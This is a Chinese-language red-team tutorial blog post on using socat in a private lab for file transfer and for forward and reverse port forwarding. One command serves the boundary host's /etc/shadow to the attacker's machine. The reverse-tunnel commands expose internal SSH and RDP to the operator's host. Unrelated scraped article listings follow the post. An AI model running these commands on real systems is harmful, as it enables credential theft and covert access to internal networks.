目录

0x01 socat介绍

0x02 socat进行文件传输

0x03 socat正向端口转发

0x04 socat反向端口转发

注:

边界机器 Ubuntu 192.168.222.177

内网机器 win7 192.168.222.137

0x01 socat介绍

socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。

安装的话,我们可以直接下载安装的,如果你非要去手动编译的话,就自行去研究吧。

apt-get install socat

完成后来检验一下是否安装成功

socat -h

0x02 socat进行文件传输

首先,我们去边界机器执行

socat -u /etc/shadow TCP4-LISTEN:55,reuseaddr

然后回到我们本机来下载,这里我本机是Windows的,不过不影响

socat.exe -u TCP4:192.168.222.177:55 OPEN:mima.txt,create

跟之前一样,在哪里执行create的,文件就在哪里

0x03 socat正向端口转发

这里,我们通过边界主机去访问内网的主机

首先我们去边界主机执行命令,将来自外部1000的流量全部都转发到内网机器的3389端口上

socat TCP4-LISTEN:1000,fork TCP4:192.168.222.137:3389

然后我们到本地主机上连接

0x04 socat反向端口转发

首先,我们在本地执行监听

socat.exe tcp-listen:1000 tcp-listen:1001

然后,我们在边缘机器上执行命令

注:10.1.135.96是我本地主机的IP

socat tcp4-connect:10.1.135.96:1000 tcp4:127.0.0.1:22

然后本地连接ssh

当然,直接连接内网的机器也是可以的

socat tcp4-connect:10.1.135.96:1000 tcp4:192.168.222.137:3389

然后回到本地连接远程桌面

注意,整个过程一定要一气呵成,如果中间出错,本地的监听也需要重新执行,否则将会一直报错,如果出现问题,多尝试几次就好

文章首发公众号:无心的梦呓(wuxinmengyi)

这是一个记录红队学习、信安笔记,个人成长的公众号

扫码关注即可

linux socat 命令,socat在Linux下的使用相关推荐

  1. linux cp命令 前面,盘点Linux命令之Linux cp命令使用大全

    Linux命令有很多,其中Linux cp命令常用的一种,Linux cp命令如何使用,下面IT培训网将为您盘点有关Linux命令之Linux cp命令大全. Linux命令之Linux cp命令详解 ...

  2. linux用户命令快捷链接,linux简单命令

    linux系统命令是最基础也是最重要的部分,下面由学习啦小编为大家整理了linux简单命令的相关知识,希望对大家有帮助! linux简单命令一.文件和目录 家目录为 /home/user 或者 - 目 ...

  3. linux cd 命令详解,linux cd 命令详解

    下面为大家讲解Linux最常用的基本命令linux cd命令. 说linux cd命令是linux最常用的命令一点也不为过,我们几乎时时刻刻都需要使用这个命令. 在DOS下也有cd这个命令,他与lin ...

  4. linux每日命令(26):Linux文件属性详解

    Linux 文件或目录的属性主要包括:文件或目录的节点.种类.权限模式.链接数量.所归属的用户和用户组.最近访问或修改的时间等内容.具体情况如下: 命令: ls -lih 输出: [root@loca ...

  5. linux 从命令行启动,Linux下常见服务在命令行方式的启动

    昨天下午正在超市购物,BOSS打电话问我会不会配置Linux下的samba? Samba是Linux下提供的类Windows下"网络邻居"的服务.一般只有启动的时候安装了才可以启用 ...

  6. Linux ls命令:查看目录下文件

    ♥️♥️♥️♥️♥️♥️通过学习 cd 和 pwd 命令,相信读者已经能够在庞大的 Linux 文件系统中,随心所欲地游荡并确定自己所在的位置了.本节继续来学习,如何知道某目录中存放了哪些文件或子目录 ...

  7. Linux tar命令总结:Linux下对文件进行打包、压缩并分割成指定大小

    1.普通tar压缩命令 tar -zcvf andywang.tar.gz andywang //将andywang文件夹压缩成andywang.tar.gz 2.压缩后的文件太大,需要将andywa ...

  8. linux chown命令格式,在Linux上如何使用chown命令 (文件所有权)

    在本教程中,通过实例向你展示如何使用chown命令. 如何使用chown 在使用chown命令之前,先回顾一下基本的语法. chown命令表达式采用以下格式:chown [OPTIONS] USER[ ...

  9. 【AWSL】之Linux常用命令,学习Linux,这一篇就够了(type、echo、enable、du、ls、mkdir、touch、ln、cp、rm、mv、find、gzip、bzip、tar)

    Linux详细命令大全 序言 一.Linux命令行的格式 1.编辑命令行的辅助操作 二.常用命令 1.type 2.echo 3.hash 4.enable 三.基本命令 1.查看及切换目录 ①.pw ...

最新文章

  1. MySQL联合查询语法内联、左联、右联、全联
  2. 每日一道面试题(第7期)---Android补间动画与属性动画的区别
  3. List、Set、Map的区别
  4. 博士扩招!反正我是你们得不到的学生...
  5. 【数据结构总结】第一章:数据结构基本概念
  6. Statspack安装心得
  7. 手把手教你求职进入BAT
  8. matlab randn state 2,MATLAB?中的randn函数
  9. Java EE 6 最终草案暗示了平台的未来发展方向
  10. PayPal支付流程
  11. 时间管理_个人计划表
  12. opencv图片保存0字节_Opencv中IplImage存储方式介绍
  13. AWS Academy 学生报名考证
  14. untiy Resorces目录动态加载资源
  15. 500台机以上大型网吧设计方案(转)
  16. 计算10光年是多少米java_1光年是多少米,9.46×10^15米(最快的火箭需飞108000年)...
  17. html 解析接口返回数据,请求第三方接口返回json格式数据的解析
  18. cas66-71-7|1,10-菲啰啉有机配体/ 1,10-Phen/邻菲啰啉/邻二氮杂菲
  19. 百择电商:抖音什么情况下会被限流?
  20. 深入HQL学习以及HQL和SQL的区别

热门文章

  1. 安全团队不可错过的 7 个开源工具
  2. 【STM32笔记】低功耗模式下的RTC唤醒(非闹钟唤醒,而是采用RTC_WAKEUPTIMER)
  3. 计算机软考软件设计师2019试题,最新2018年上半年软件设计师真题+答案解析上午选择+下午案例完整版(全国计算机软考)...
  4. 2022年道路运输企业安全生产管理人员考试内容及道路运输企业安全生产管理人员操作证考试
  5. 算法基础--快慢指针
  6. 连锁超市价格表 超市商品价格目录表
  7. access violation at address 解决之法【转】
  8. linux dhcp认证,如何让linux dhcp server同时支持option 60和option 82认证
  9. 如何用现在的大数据分析和人工智能技术来研究和论证翁文波先生的可公度性预测理论?
  10. 浅析scoped属性原理及深度作用选择器